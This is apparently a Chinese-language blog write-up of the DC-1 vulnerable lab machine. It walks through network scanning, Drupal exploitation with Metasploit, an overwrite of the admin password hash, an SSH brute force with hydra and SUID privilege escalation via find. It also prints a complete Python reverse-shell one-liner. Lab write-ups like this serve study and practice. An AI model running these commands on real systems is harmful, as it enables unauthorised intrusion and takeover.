DC-1

DC-1

一、靶机地址

  1. netdiscover
┌──(root💀kali)-[/home/mpy]
└─# netdiscover -i eth0 // 扫描eth0这个网卡下存活的IP主机
  1. nmap
┌──(root💀kali)-[/home/mpy]
└─# nmap -sn 192.168.1.1/24

Starting Nmap 7.91 ( https://nmap.org ) at 2022-06-11 21:04 CST
Nmap scan report for localhost (192.168.1.1)
Host is up (0.0026s latency)
MAC Address: 54:75:95:3E:92:30 (Tp-link Technologies)
Nmap scan report for localhost (192.168.1.135)
Host is up (0.00013s latency)
MAC Address: 50:EB:71:5D:6C:18 (Intel Corporate)
Nmap scan report for localhost (192.168.1.139)
Host is up (0.0015s latency)
MAC Address: 00:0C:29:E7:95:A4 (VMware)
Nmap scan report for localhost (192.168.1.138)
Host is up
  1. arp-scan
┌──(root💀kali)-[/home/mpy]
└─# arp-scan -l // 使用网络接口扫描         

192.168.1.1     54:75:95:3e:92:30       TP-LINK TECHNOLOGIES CO.,LTD.
192.168.1.135   50:eb:71:5d:6c:18       Intel Corporate
192.168.1.139   00:0c:29:e7:95:a4       VMware, Inc

二、靶机端口

  • nmap扫描
┌──(root💀kali)-[/home/mpy]
└─# nmap -Pn 192.168.1.138   // 穿透防火墙扫描端口                                                                 

PORT     STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
111/tcp open  rpcbind
MAC Address: 00:0C:29:E7:95:A4 (VMware)

三、端口利用

  • 通过网站的一些基本信息确认CMS为drupal
    • 可以从网上查找漏洞利用方法
  • 通过插件确认CMS信息

四、漏洞利用

  1. msfconsole开启msf

  2. 通过CMS查找漏洞

    1. search CMS

    1. use 路径

    1. show options

    1. set rhosts 目标IP

    1. run 【攻击之后会出现meterpreter会话】

    1. shell【切换终端模式】

    1. python -c 'import pty;pty.spawn("/bin/bash")' // 使用python反弹一个交互式shell

五、寻找突破

  1. ls查看文件

  2. flag1.txt // 寻找配置文件

  3. 通过网络搜索drupal配置文件,发现flag2.txt

    找到 : /sites/default/settings.php

  4. 修改管理员密码

    1. 通过登录数据库进行修改密码

      • 登录数据库

      • 查看数据库、表

      • 查看数据
      • 加密有点特殊

      • 返回发现存在一个加密脚本

      • 运行一下

      直接报错,这里不清楚什么原因,网上找到一个方法

      • 执行成功

      • 回到刚才,更新user表中admin用户的密码

        update users set pass="$S$DlFf3gcP7kmSySHRcu.SKDKE3mubv9py0gueir3J8m56ptirCtA0" where uid=1;

      • 回到网站 使用 admin/admin登录

      成功登录,访问flag3.txt //

      • 需要使用 -exec 来进行提权

    2. 查看版本,利用msf来重新创建管理员

      • 利用msf的共计脚本生成账号、密码

      • 使用python进行创建

      这里的账号密码创建成功后没法成功登录,不知道什么原因,看看数据库

      发现除了admin账号和第一个空账号,其余都被过滤,看来方法二并不可行

六、开始提权

/etc/passwd和/etc/shadow还提到了find、perms、-exec,这几个是提权用的

  1. 查看 /etc/passwd的文件内容

  1. 存在一个flag4的用户【之前扫描端口时22ssh远程连接端口开放,尝试一下爆破】

-v、V:显示详细信息

-f :成功九停止

  1. 远程连接一下

  1. 发现了flag4.txt

    • 想要获取flag,就得在root目录下面查看
  2. 提权文章

    1. 利用find文件提权
    #以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
    find / -perm -u=s -type f 2>/dev/null
    find / -user root -perm -4000-print2>/dev/null
    find / -user root -perm -4000-exec ls -ldb {} \;
    

    • 成功执行命令
    1. 通过python反弹shell,kali接收反弹端口
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.25",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    

    1. 成功拿到flag5.txt

知识总结

  1. 3个工具扫描主机

    1. netdiscover -i eth0
    2. nmap -sn 192.168.169.1/24
    3. arp-scan -l
  2. 扫描端口

    • nmap -Pn 192.168.169.139
  3. python交互界面

    python -c 'import pty;pty.spawn("/bin/bash")'

  4. msf的基本操作

    1. search 搜索漏洞
    2. searchsploit 搜索漏洞
  5. 数据库的操作

    1. 数据库查询
    2. 数据表查询
    3. 数据查询
    4. 修改数据
  6. hydra的使用

  7. 提交的操作

  8. 反弹shell

  9. find提权

    以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
    find / -perm -u=s -type f 2>/dev/null
    find / -user root -perm -4000-print2>/dev/null
    find / -user root -perm -4000-exec ls -ldb {} \;
    
posted @ 2022-08-23 10:56  余星酒  阅读(138)  评论(0)    收藏  举报